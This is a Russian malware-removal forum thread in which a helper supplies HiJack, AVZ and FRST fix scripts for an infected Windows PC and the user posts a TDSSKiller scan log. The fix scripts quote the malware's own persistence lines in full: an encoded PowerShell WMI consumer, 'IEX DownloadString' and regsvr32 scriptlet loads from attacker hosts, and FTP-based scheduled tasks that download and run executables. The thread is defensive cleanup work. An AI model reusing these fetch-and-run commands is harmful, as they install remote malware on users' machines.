Страница 1 из 2 12 Последняя
Показано с 1 по 20 из 21.

троян дроппер (заявка № 221283)

  1. #1
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2

    троян дроппер

    в автозагрузках появляется процесс (start), который невозможно удалить Безымянный.jpg, антивирус погиб и не устанавливается (аваст free). Установил malwarebytes, он ловит на жестком диске несколько опасностей, засунул их в карантин, но один фиг, этот дроппер пытается передать что-то куда-то (malwarebytes блочит естественно). Удаляю из карантина, удаляю эти подозрительные файлы и через перезагрузку компа опять этот же процесс start в автозагрузках, грузит комп дико. бесплатная утилита от доктор веб не помогает, решил написать вам сюда.
    Вложения Вложения

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Cyber Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Info_bot
    Регистрация
    11.05.2011
    Сообщений
    2,312
    Вес репутации
    351
    Уважаемый(ая) andreuka163, спасибо за обращение на наш форум!

    Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

    information

    Информация

    Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.





    Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

  4. #3
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    Пофиксите в HiJack из папки Autologger
    Код:
    O25 - WMI Event: fuckyoumm4 - fuckyoumm3 - Event="__InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'",  cmd /c powershell.exe -nop -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwBtAGkALgAxADIAMQA3AGIAeQBlAC4AaABvAHMAdAA6ADgAOAA4ADgALwAyAC4AdAB4AHQAIgApAC4AdAByAGkAbQAoACkAIAAtAHMAcABsAGkAdAAgACIAWwBcAHIAXABuAF0AKwAiAHwAJQB7ACQAbgA9ACQAXwAuAHMAcABsAGkAdAAoACIALwAiACkAWwAtADEAXQA7ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAF8ALAAgACQAbgApADsAcwB0AGEAcgB0ACAAJABuADsAfQA=&powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.1217bye.host:8888/S.ps1')&powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://173.208.139.170/s.txt')&powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://35.182.171.137/s.jpg')||regsvr32 /u /s /i:http://wmi.1217bye.host:8888/1.txt scrobj.dll&regsvr32 /u /s /i:http://173.208.139.170/2.txt scrobj.dll&regsvr32 /u /s /i:http://35.182.171.137/3.txt scrobj.dll
    Выполните скрипт в AVZ из папки Autologger
    Код:
    begin
    ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
    ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
    if not IsWOW64
     then
      begin
       SearchRootkit(true, true);
       SetAVZGuardStatus(True);
      end;
     DeleteService('QMUdisk');
     QuarantineFile('C:\Windows\debug\item.dat','');
     TerminateProcessByName('c:\windows\inf\msief.exe');
     QuarantineFile('c:\windows\inf\msief.exe','');
     TerminateProcessByName('c:\windows\temp\conhost.exe');
     QuarantineFile('c:\windows\temp\conhost.exe','');
     DeleteFile('c:\windows\temp\conhost.exe','32');
     DeleteFile('c:\windows\inf\msief.exe','32');
     DeleteFile('C:\Windows\debug\item.dat','32');
     DeleteFile('C:\Program Files (x86)\Tencent\QQPCMgr\10.10.16434.218\QMUdisk64.sys','64');
     RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start','x32');
     DeleteSchedulerTask('Mysa1');
     DeleteSchedulerTask('Mysa');
     DeleteSchedulerTask('Mysa2');
     DeleteSchedulerTask('Mysa3');
     DeleteSchedulerTask('ok');
     DeleteFile('c:\windows\debug\ok.dat','64');
     DeleteFile('c:\windows\help\lsmosee.exe','64');
     DeleteFile('c:\windows\update.exe','64');
    BC_ImportAll;
    ExecuteSysClean;
    BC_Activate;
    RebootWindows(false);
    end.
    • Обратите внимание: будет выполнена перезагрузка компьютера.


    Выполните скрипт в AVZ
    Код:
    begin
    CreateQurantineArchive('c:\quarantine.zip');
    end.
    c:\quarantine.zip пришлите по красной ссылке Прислать запрошенный карантин над первым сообщением темы.


    Пожалуйста, ЕЩЕ РАЗ запустите Autologger; прикрепите к следующему сообщению НОВЫЕ логи.
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  5. #4
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    не могу загрузить карантин по ссылке, которая вверху темы. Безымянный1.jpg
    025 пофиксил, скрипт выполнил - комп перезагрузился, второй скрипт тоже выполнил. новые логи прикладываю. что делать с
    quarantine.zip? не могу его отправить по верхней ссылке
    Вложения Вложения

  6. #5
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.
    • Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

    1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
    2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.

    3. Нажмите кнопку Scan.
    4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
    5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
    6. Файлы FRST.txt и Addition.txt заархивируйте (в один общий архив) и прикрепите к сообщению.
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  7. #6
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    высылаю архив
    Вложения Вложения
    • Тип файла: rar FRST.rar (20.7 Кб, 1 просмотров)

  8. #7
    Невымерший Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    98,221
    Вес репутации
    3063
    1. Выделите следующий код:
    Код:
    Start::
    CreateRestorePoint:
    HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION
    SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{3bef5281-91f2-4606-afd0-8c86c5e80974} <==== ATTENTION (Restriction - IP)
    2018-12-30 08:51 - 2018-12-30 10:43 - 000003504 _____ C:\Windows\System32\Tasks\Mysa3
    2018-12-30 08:51 - 2018-12-30 10:43 - 000003424 _____ C:\Windows\System32\Tasks\Mysa2
    2018-12-30 08:51 - 2018-12-30 10:43 - 000003186 _____ C:\Windows\System32\Tasks\ok
    2018-12-30 08:51 - 2018-12-30 10:42 - 000003518 _____ C:\Windows\System32\Tasks\Mysa
    2018-12-30 08:51 - 2018-12-30 10:42 - 000003190 _____ C:\Windows\System32\Tasks\Mysa1
    2018-12-28 06:58 - 2018-12-28 07:01 - 015038553 _____ C:\Windows\SysWOW64\Drivers\64.exe
    2018-12-27 22:18 - 2018-12-30 10:41 - 000000084 _____ C:\Program Files\Common Files\xpdown.dat
    2018-12-27 15:06 - 2018-12-27 18:06 - 000287246 _____ C:\Windows\system32\a.txt
    2018-12-27 15:06 - 2018-12-27 18:06 - 000012584 _____ C:\Windows\system32\b.txt
    2018-12-27 15:06 - 2018-12-27 18:06 - 000008662 _____ C:\Windows\system32\c.txt
    2018-10-10 09:22 - 2018-10-15 19:35 - 000002031 _____ C:\Windows\SysWOW64\Drivers\cls.bat
    2018-10-22 09:03 - 2018-12-30 10:42 - 000027136 _____ (Microsoft Corporation) C:\Windows\system\down.exe
    2018-10-17 08:54 - 2018-10-19 17:00 - 000027136 _____ (Microsoft Corporation) C:\Windows\system\downs.exe
    2018-04-05 13:45 - 2018-12-30 10:42 - 000000084 _____ () C:\Program Files\Common Files\xp.dat
    WMI:subscription\__FilterToConsumerBinding->CommandLineEventConsumer.Name=\"fuckyoumm4\"",Filter="__EventFilter.Name=\"fuckyoumm3\": <==== ATTENTION
    WMI:subscription\__TimerInstruction->fuckyoumm2_itimer: <==== ATTENTION
    WMI:subscription\__IntervalTimerInstruction->fuckyoumm2_itimer: <==== ATTENTION
    WMI:subscription\__EventFilter->fuckyoumm3: <==== ATTENTION
    WMI:subscription\CommandLineEventConsumer->fuckyoumm4: <==== ATTENTION
    Task: {1C225FCC-BC6F-428F-991C-78B12E0729B7} - System32\Tasks\ok => rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
    Task: {3F1B3092-AAAF-4713-B532-BE46F3F17EE2} - System32\Tasks\Mysa => cmd /c echo open ftp.1226bye.xyz>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
    Task: {55A8E6E3-F694-4111-834B-26E93B0F5ABA} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
    Task: {7A4A4B2B-9757-48C6-89C7-C2596233F72E} - System32\Tasks\Mysa3 => cmd /c echo open ftp.1226bye.xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
    Task: {EF645350-7986-4FFF-9199-499511DD11A7} - System32\Tasks\Mysa2 => cmd /c echo open ftp.1226bye.xyz>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
    2018-12-28 07:01 - 2018-10-16 09:22 - 010135552 _____ () c:\windows\debug\xmrstak_cuda_backend.dll
    2018-12-30 08:50 - 2018-12-30 10:42 - 002359296 _____ () C:\Windows\debug\item.dat
    AlternateDataStreams: C:\ProgramData\TEMP:07BF512B [162]
    AlternateDataStreams: C:\Users\Все пользователи\TEMP:07BF512B [162]
    HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\QQPCRTP => ""="service"
    HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\QQPCRTP => ""="service"
    Reboot:
    End::
    2. Скопируйте выделенный текст (правая кнопка мышиКопировать).
    3. Запустите Farbar Recovery Scan Tool.
    4. Нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.
    • Обратите внимание: будет выполнена перезагрузка компьютера.


    + Сделайте лог TDSSkiller
    Microsoft MVP 2012-2016 Consumer Security
    Microsoft MVP 2016 Reconnect

  9. #8
    Junior Member Репутация
    Регистрация
    28.12.2018
    Сообщений
    10
    Вес репутации
    2
    логи из TDSSkiller
    Код:
    12:23:34.0625 0x1260  TDSS rootkit removing tool 3.1.0.25 Dec 24 2018 06:31:07
    12:23:37.0946 0x1260  ============================================================
    12:23:37.0946 0x1260  Current date / time: 2018/12/30 12:23:37.0946
    12:23:37.0946 0x1260  SystemInfo:
    12:23:37.0946 0x1260  
    12:23:37.0946 0x1260  OS Version: 6.1.7601 ServicePack: 1.0
    12:23:37.0946 0x1260  Product type: Workstation
    12:23:37.0947 0x1260  ComputerName: АНАСТАСИЯ-ПК
    12:23:37.0947 0x1260  UserName: Анастасия
    12:23:37.0947 0x1260  Windows directory: C:\Windows
    12:23:37.0947 0x1260  System windows directory: C:\Windows
    12:23:37.0947 0x1260  Running under WOW64
    12:23:37.0947 0x1260  Processor architecture: Intel x64
    12:23:37.0947 0x1260  Number of processors: 2
    12:23:37.0947 0x1260  Page size: 0x1000
    12:23:37.0947 0x1260  Boot type: Normal boot
    12:23:37.0947 0x1260  CodeIntegrityOptions = 0x00000001
    12:23:37.0947 0x1260  ============================================================
    12:23:47.0448 0x1260  KLMD registered as C:\Windows\system32\drivers\39496264.sys
    12:23:47.0448 0x1260  KLMD ARK init status: drvProperties = 0xFFF00, osBuild = 7601.17592, osProperties = 0x1
    12:23:47.0824 0x1260  System UUID: {D001C11C-A4BE-7EF8-5955-8C283731E7B4}
    12:23:48.0043 0x1260  Drive \Device\Harddisk0\DR0 - Size: 0x4A85D56000 ( 298.09 Gb ), SectorSize: 0x200, Cylinders: 0x9801, SectorsPerTrack: 0x3F, TracksPerCylinder: 0xFF, Type 'K0', Flags 0x00000040
    12:23:48.0129 0x1260  ============================================================
    12:23:48.0129 0x1260  \Device\Harddisk0\DR0:
    12:23:48.0130 0x1260  MBR partitions:
    12:23:48.0130 0x1260  \Device\Harddisk0\DR0\Partition1: MBR, Type 0xC, StartLBA 0x800, BlocksNum 0x3200000
    12:23:48.0130 0x1260  \Device\Harddisk0\DR0\Partition2: MBR, Type 0x7, StartLBA 0x3232800, BlocksNum 0xEE79000
    12:23:48.0130 0x1260  \Device\Harddisk0\DR0\Partition3: MBR, Type 0x7, StartLBA 0x120AB800, BlocksNum 0x13383000
    12:23:48.0130 0x1260  ============================================================
    12:23:48.0257 0x1260  C: <-> \Device\Harddisk0\DR0\Partition2
    12:23:48.0340 0x1260  D: <-> \Device\Harddisk0\DR0\Partition3
    12:23:48.0341 0x1260  ============================================================
    12:23:48.0341 0x1260  Initialize success
    12:23:48.0341 0x1260  ============================================================
    12:23:57.0849 0x139c  ============================================================
    12:23:57.0849 0x139c  Scan started
    12:23:57.0849 0x139c  Mode: Manual; 
    12:23:57.0849 0x139c  ============================================================
    12:23:57.0849 0x139c  KSN ping started
    12:24:00.0601 0x139c  KSN ping finished: true
    12:24:02.0690 0x139c  ================ Scan BIOS =================================
    12:24:02.0691 0x139c  BIOS info: vendor = American Megatrends Inc., version = N53TK.205, releaseDate = 01/06/2012
    12:24:02.0691 0x139c  Base board info: manufacturer = ASUSTeK Computer Inc., product = N53TK, version = 1.0
    12:24:08.0672 0x139c  [ 3954F8A8833D8278619B6B581DF0F4E5, 8F0D1D88725D723392117404FCA57AA8F872ECDAEABD79F43292DDD3D89D87B0 ] BIOS
    12:24:11.0911 0x139c  BIOS - ok
    12:24:11.0915 0x139c  ================ Scan system memory ========================
    12:24:11.0919 0x139c  System memory - detected MEM:Rootkit.Win64.DarkGalaxy.a ( 0 )
    12:24:11.0919 0x139c  System memory ( MEM:Rootkit.Win64.DarkGalaxy.a ) - infected
    12:24:14.0562 0x139c  ================ Scan services =============================
    12:24:14.0763 0x139c  [ A87D604AEA360176311474C87A63BB88, B1507868C382CD5D2DBC0D62114FCFBF7A780904A2E3CA7C7C1DD0844ADA9A8F ] 1394ohci        C:\Windows\system32\drivers\1394ohci.sys
    12:24:14.0795 0x139c  1394ohci - ok
    12:24:14.0842 0x139c  [ D81D9E70B8A6DD14D42D7B4EFA65D5F2, FDAAB7E23012B4D31537C5BDEF245BB0A12FA060A072C250E21C68E18B22E002 ] ACPI            C:\Windows\system32\drivers\ACPI.sys
    12:24:14.0867 0x139c  ACPI - ok
    12:24:14.0891 0x139c  [ 99F8E788246D495CE3794D7E7821D2CA, F91615463270AD2601F882CAED43B88E7EDA115B9FD03FC56320E48119F15F76 ] AcpiPmi         C:\Windows\system32\drivers\acpipmi.sys
    12:24:14.0894 0x139c  AcpiPmi - ok
    12:24:15.0010 0x139c  [ 696A8431DD22EDE385D7AB84E0EAF4C9, E5892B346904C7A392A0B1C8F4C9066BC535A2C70307123C8E1F2157353333F0 ] AdobeARMservice C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
    12:24:15.0015 0x139c  AdobeARMservice - ok
    12:24:15.0074 0x139c  [ 2F6B34B83843F0C5118B63AC634F5BF4, 43E3F5FBFB5D33981AC503DEE476868EC029815D459E7C36C4ABC2D2F75B5735 ] adp94xx         C:\Windows\system32\DRIVERS\adp94xx.sys
    12:24:15.0102 0x139c  adp94xx - ok
    12:24:15.0145 0x139c  [ 597F78224EE9224EA1A13D6350CED962, DA7FD99BE5E3B7B98605BF5C13BF3F1A286C0DE1240617570B46FE4605E59BDC ] adpahci         C:\Windows\system32\DRIVERS\adpahci.sys
    12:24:15.0166 0x139c  adpahci - ok
    12:24:15.0183 0x139c  [ E109549C90F62FB570B9540C4B148E54, E804563735153EA00A00641814244BC8A347B578E7D63A16F43FB17566EE5559 ] adpu320         C:\Windows\system32\DRIVERS\adpu320.sys
    12:24:15.0190 0x139c  adpu320 - ok
    12:24:15.0219 0x139c  [ 4B78B431F225FD8624C5655CB1DE7B61, 198A5AF2125C7C41F531A652D200C083A55A97DC541E3C0B5B253C7329949156 ] AeLookupSvc     C:\Windows\System32\aelupsvc.dll
    12:24:15.0223 0x139c  AeLookupSvc - ok
    12:24:15.0299 0x139c  [ D31DC7A16DEA4A9BAF179F3D6FBDB38C, 532678D86E3E667F2E789C4873565E0B92C549A93F10802BB6D5B505CA3238CE ] AFD             C:\Windows\system32\drivers\afd.sys
    12:24:15.0322 0x139c  AFD - ok
    12:24:15.0371 0x139c  [ 608C14DBA7299D8CB6ED035A68A15799, 45360F89640BF1127C82A32393BD76205E4FA067889C40C491602F370C09282A ] agp440          C:\Windows\system32\drivers\agp440.sys
    12:24:15.0374 0x139c  agp440 - ok
    12:24:15.0408 0x139c  [ 59069329A89025B01708F3DAF9929C58, 57C8D300823E54EE7D77B7A30452519B459D32FF7BCA340ED33FF181BE093F04 ] aksdf           C:\Windows\system32\drivers\aksdf.sys
    12:24:15.0411 0x139c  aksdf - ok
    12:24:15.0453 0x139c  [ 0EF3D7B35431030FFC85F7EF45A64E0C, 720E1F0841571E316BB224E8BC125C56BCDC6195DB9BE1F71EDDB7DCBC638FA9 ] aksfridge       C:\Windows\system32\drivers\aksfridge.sys
    12:24:15.0456 0x139c  aksfridge - ok
    12:24:15.0476 0x139c  [ 3290D6946B5E30E70414990574883DDB, 0E9294E1991572256B3CDA6B031DB9F39CA601385515EE59F1F601725B889663 ] ALG             C:\Windows\System32\alg.exe
    12:24:15.0481 0x139c  ALG - ok
    12:24:15.0508 0x139c  [ 5812713A477A3AD7363C7438CA2EE038, A7316299470D2E57A11499C752A711BF4A71EB11C9CBA731ED0945FF6A966721 ] aliide          C:\Windows\system32\drivers\aliide.sys
    12:24:15.0510 0x139c  aliide - ok
    12:24:15.0557 0x139c  [ 1DF66A244E63BCAE3ACF2A518ED5476B, 400C2D42179573EF6E590642EA496A0BC1C8802F982E1DEE33E997249345E007 ] AMD External Events Utility C:\Windows\system32\atiesrxx.exe
    12:24:15.0566 0x139c  AMD External Events Utility - ok
    12:24:15.0641 0x139c  AMD FUEL Service - ok
    12:24:15.0666 0x139c  [ F1A84D67A03F7536EBDA9DB426EF0E00, 616F34041CA837706B0EC566C75AB28C9426998E049CE8EE8E628880422F3ABB ] amdhub30        C:\Windows\system32\DRIVERS\amdhub30.sys
    12:24:15.0669 0x139c  amdhub30 - ok
    12:24:15.0691 0x139c  [ 1FF8B4431C353CE385C875F194924C0C, 3EA3A7F426B0FFC2461EDF4FDB4B58ACC9D0730EDA5B728D1EA1346EA0A02720 ] amdide          C:\Windows\system32\drivers\amdide.sys
    12:24:15.0693 0x139c  amdide - ok
    12:24:15.0722 0x139c  [ 6A2EEB0C4133B20773BB3DD0B7B377B4, E4CB35C6937C70A145A13E5AE5B34A271B49101DA623171ACBFDA8601E5A70EA ] amdiox64        C:\Windows\system32\DRIVERS\amdiox64.sys
    12:24:15.0723 0x139c  amdiox64 - ok
    12:24:15.0762 0x139c  [ 7024F087CFF1833A806193EF9D22CDA9, E7F27E488C38338388103D3B7EEDD61D05E14FB140992AEE6F492FFC821BF529 ] AmdK8           C:\Windows\system32\DRIVERS\amdk8.sys
    12:24:15.0766 0x139c  AmdK8 - ok
    12:24:16.0191 0x139c  [ 3875EF8FAE8E41EA1CEA33FE036B4235, 1B976513C1D9671EF9BE550E85C4C098A9C6A67A8C3939D71F21EE92CED78BE6 ] amdkmdag        C:\Windows\system32\DRIVERS\atikmdag.sys
    12:24:16.0578 0x139c  amdkmdag - ok
    12:24:16.0629 0x139c  [ A54F891E141FDBD6873AE3D0DA53D181, 768AE31E5D3EC8ABA7B9DCF8A2E02D18C52C71067EEDA7EA59FD49F02F4C3122 ] amdkmdap        C:\Windows\system32\DRIVERS\atikmpag.sys
    12:24:16.0638 0x139c  amdkmdap - ok
    12:24:16.0666 0x139c  [ 1E56388B3FE0D031C44144EB8C4D6217, E88CA76FD47BA0EB427D59CB9BE040DE133D89D4E62D03A8D622624531D27487 ] AmdPPM          C:\Windows\system32\DRIVERS\amdppm.sys
    12:24:16.0668 0x139c  AmdPPM - ok
    12:24:16.0799 0x139c  [ 6EC6D772EAE38DC17C14AED9B178D24B, B4FB936B31B1265B8CC6B426C64965C34D0CCF1638E645ACD65E88F4AFFC57A6 ] amdsata         C:\Windows\system32\drivers\amdsata.sys
    12:24:16.0854 0x139c  amdsata - ok
    12:24:16.0904 0x139c  [ F67F933E79241ED32FF46A4F29B5120B, D6EF539058F159CC4DD14CA9B1FD924998FEAC9D325C823C7A2DD21FEF1DC1A8 ] amdsbs          C:\Windows\system32\DRIVERS\amdsbs.sys
    12:24:16.0911 0x139c  amdsbs - ok
    12:24:16.0938 0x139c  [ 1142A21DB581A84EA5597B03A26EBAA0, F94EB140D0CD068760D7EB081FF75154C75DAC75E5E24B6DE4E4F9CE65A70343 ] amdxata         C:\Windows\system32\drivers\amdxata.sys
    12:24:16.0939 0x139c  amdxata - ok
    12:24:16.0984 0x139c  [ D8C25FF90E2E8FC7CBE26E2203EC4757, D1F52DEE2A799E526818A683BCB0DA5B5A3A0B119334D5988888E319719C4943 ] amdxhc          C:\Windows\system32\DRIVERS\amdxhc.sys
    12:24:16.0990 0x139c  amdxhc - ok
    12:24:17.0056 0x139c  [ 89A69C3F2F319B43379399547526D952, 8ABDB4B8E106F96EBBA0D4D04C4F432296516E107E7BA5644ED2E50CF9BB491A ] AppID           C:\Windows\system32\drivers\appid.sys
    12:24:17.0060 0x139c  AppID - ok
    12:24:17.0091 0x139c  [ 0BC381A15355A3982216F7172F545DE1, C33AF13CB218F7BF52E967452573DF2ADD20A95C6BF99229794FEF07C4BBE725 ] AppIDSvc        C:\Windows\System32\appidsvc.dll
    12:24:17.0092 0x139c  AppIDSvc - ok
    12:24:17.0165 0x139c  [ 3977D4A871CA0D4F2ED1E7DB46829731, 2AF1C3225994769C3FD25CD7E9603964B035576F25B0B6D91545566E0722FFAA ] Appinfo         C:\Windows\System32\appinfo.dll
    12:24:17.0168 0x139c  Appinfo - ok
    12:24:17.0216 0x139c  [ 4ABA3E75A76195A3E38ED2766C962899, E2001ACD44DA270B8289DA362D26416676301773AB22616C211F31CF2E7869AA ] AppMgmt         C:\Windows\System32\appmgmts.dll
    12:24:17.0223 0x139c  AppMgmt - ok
    12:24:17.0246 0x139c  [ C484F8CEB1717C540242531DB7845C4E, C507CE26716EB923B864ED85E8FA0B24591E2784A2F4F0E78AEED7E9953311F6 ] arc             C:\Windows\system32\DRIVERS\arc.sys
    12:24:17.0251 0x139c  arc - ok
    12:24:17.0273 0x139c  [ 019AF6924AEFE7839F61C830227FE79C, 5926B9DDFC9198043CDD6EA0B384C83B001EC225A8125628C4A45A3E6C42C72A ] arcsas          C:\Windows\system32\DRIVERS\arcsas.sys
    12:24:17.0278 0x139c  arcsas - ok
    12:24:17.0375 0x139c  [ 18E5C2F937F9DEB8C282DF66A3761925, 30294C381F8C7DCB45EF9BCF572F410FF47630E12D5AA02259C6C80F07BEF495 ] ASLDRService    C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\ASLDRSrv.exe
    12:24:17.0383 0x139c  ASLDRService - ok
    12:24:17.0404 0x139c  [ 4C016FD76ED5C05E84CA8CAB77993961, 025E7BE9FCEFD6A83F4471BBA0C11F1C11BD5047047D26626DA24EE9A419CDC4 ] ASMMAP64        C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\ASMMAP64.sys
    12:24:17.0405 0x139c  ASMMAP64 - ok
    12:24:17.0542 0x139c  [ F15AB80B867D3332D5DDFB0A05B9CE04, 5A16577106246AB5DCC04FE0A0B00B7C5702557B75F958721E4C00383AB99809 ] aspnet_state    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
    12:24:17.0545 0x139c  aspnet_state - ok
    12:24:17.0574 0x139c  [ 769765CE2CC62867468CEA93969B2242, 0D8F19D49869DF93A3876B4C2E249D12E83F9CE11DAE8917D368E292043D4D26 ] AsyncMac        C:\Windows\system32\DRIVERS\asyncmac.sys
    12:24:17.0576 0x139c  AsyncMac - ok
    12:24:17.0612 0x139c  [ 02062C0B390B7729EDC9E69C680A6F3C, 0261683C6DC2706DCE491A1CDC954AC9C9E649376EC30760BB4E225E18DC5273 ] atapi           C:\Windows\system32\drivers\atapi.sys
    12:24:17.0613 0x139c  atapi - ok
    12:24:17.0750 0x139c  [ B4174564AD5834A1680610572477878C, EA8687C90FE871AA427B4139BEE425E6DC4CFBC4CF3DCE29695EB9B967D9872F ] athr            C:\Windows\system32\DRIVERS\athrx.sys
    12:24:17.0852 0x139c  athr - ok
    12:24:17.0918 0x139c  [ 230CF51113CD4B830B3BFD09B0D4C066, 54751AA93E5E697A09B9C02EED34BFFE4B9C98B69490B738BFD4127EACC0E39F ] AtiHDAudioService C:\Windows\system32\drivers\AtihdW76.sys
    12:24:17.0922 0x139c  AtiHDAudioService - ok
    12:24:17.0943 0x139c  [ 7910158929571214A959D5A6D16DD9C0, 9B4F8A3AF9E09B2F772EEF1CB8F7EAB8A226068784837F375AE97B89B0B3A383 ] ATKGFNEXSrv     C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe
    12:24:17.0947 0x139c  ATKGFNEXSrv - ok
    12:24:17.0986 0x139c  [ 41CEAFFCF3550785E59E3EC9BEE8D97A, 89FE604088B65B82AA794E1DA8429033CD2F05FFB2D7EFAAC7B967C7A83D1B1E ] ATKWMIACPIIO    C:\Program Files (x86)\ASUS\ATK Package\ATK WMIACPI\atkwmiacpi64.sys
    12:24:17.0987 0x139c  ATKWMIACPIIO - ok
    12:24:18.0064 0x139c  [ F23FEF6D569FCE88671949894A8BECF1, FCE7B156ED663471CF9A736915F00302E93B50FC647563D235313A37FCE8F0F6 ] AudioEndpointBuilder C:\Windows\System32\Audiosrv.dll
    12:24:18.0098 0x139c  AudioEndpointBuilder - ok
    12:24:18.0141 0x139c  [ F23FEF6D569FCE88671949894A8BECF1, FCE7B156ED663471CF9A736915F00302E93B50FC647563D235313A37FCE8F0F6 ] AudioSrv        C:\Windows\System32\Audiosrv.dll
    12:24:18.0158 0x139c  AudioSrv - ok
    12:24:18.0223 0x139c  [ A6BF31A71B409DFA8CAC83159E1E2AFF, CBB83F73FFD3C3FB4F96605067739F8F7A4A40B2B05417FA49E575E95628753F ] AxInstSV        C:\Windows\System32\AxInstSV.dll
    12:24:18.0228 0x139c  AxInstSV - ok
    12:24:18.0284 0x139c  [ 3E5B191307609F7514148C6832BB0842, DE011CB7AA4A2405FAF21575182E0793A1D83DFFC44E9A7864D59F3D51D8D580 ] b06bdrv         C:\Windows\system32\DRIVERS\bxvbda.sys
    12:24:18.0307 0x139c  b06bdrv - ok
    12:24:18.0340 0x139c  [ B5ACE6968304A3900EEB1EBFD9622DF2, 1DAA118D8CA3F97B34DF3D3CDA1C78EAB2ED225699FEABE89D331AE0CB7679FA ] b57nd60a        C:\Windows\system32\DRIVERS\b57nd60a.sys
    12:24:18.0360 0x139c  b57nd60a - ok
    12:24:18.0406 0x139c  [ FDE360167101B4E45A96F939F388AEB0, 8D1457E866BBD645C4B9710DFBFF93405CC1193BF9AE42326F2382500B713B82 ] BDESVC          C:\Windows\System32\bdesvc.dll
    12:24:18.0411 0x139c  BDESVC - ok
    12:24:18.0453 0x139c  [ 16A47CE2DECC9B099349A5F840654746, 77C008AEDB07FAC66413841D65C952DDB56FE7DCA5E9EF9C8F4130336B838024 ] Beep            C:\Windows\system32\drivers\Beep.sys
    12:24:18.0455 0x139c  Beep - ok
    12:24:18.0542 0x139c  [ 82974D6A2FD19445CC5171FC378668A4, 075D25F47C0D2277E40AF8615571DAA5EB16B1824563632A9A7EC62505C29A4A ] BFE             C:\Windows\System32\bfe.dll
    12:24:18.0576 0x139c  BFE - ok
    12:24:18.0621 0x139c  [ 1EA7969E3271CBC59E1730697DC74682, D511A34D63A6E0E6E7D1879068E2CD3D87ABEAF4936B2EA8CDDAD9F79D60FA04 ] BITS            C:\Windows\System32\qmgr.dll
    12:24:18.0664 0x139c  BITS - ok
